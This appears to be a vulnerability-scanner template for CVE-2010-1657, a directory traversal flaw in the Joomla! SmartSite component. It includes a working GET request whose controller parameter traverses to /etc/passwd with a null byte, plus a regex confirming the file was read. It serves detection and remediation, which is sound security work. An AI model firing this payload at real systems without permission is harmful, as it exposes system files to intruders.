id: CVE-2010-1657

info:
  name: Joomla! Component SmartSite 1.0.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SmartSite (com_smartsite) component 1.0.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Update to the latest version of Joomla! Component SmartSite or apply the necessary patches to fix the LFI vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1657
    - https://www.exploit-db.com/exploits/12428
    - http://www.vupen.com/english/advisories/2010/1006
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58175
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1657
    cwe-id: CWE-22
    epss-score: 0.01302
    epss-percentile: 0.80007
    cpe: cpe:2.3:a:recly:com_smartsite:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: recly
    product: com_smartsite
  tags: cve,cve2010,joomla,lfi,edb,recly,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e5e2fe21f071ba7c4fab7f0dd3148b50fdee1d2285bc90d1596fe047bd3e7d5e02206e4e342e4ce9f2b33d8962540bd28d4f8adbe39a7cd88c1a6b129c681dec8656:922c64590222798bb761d5b6d8e72950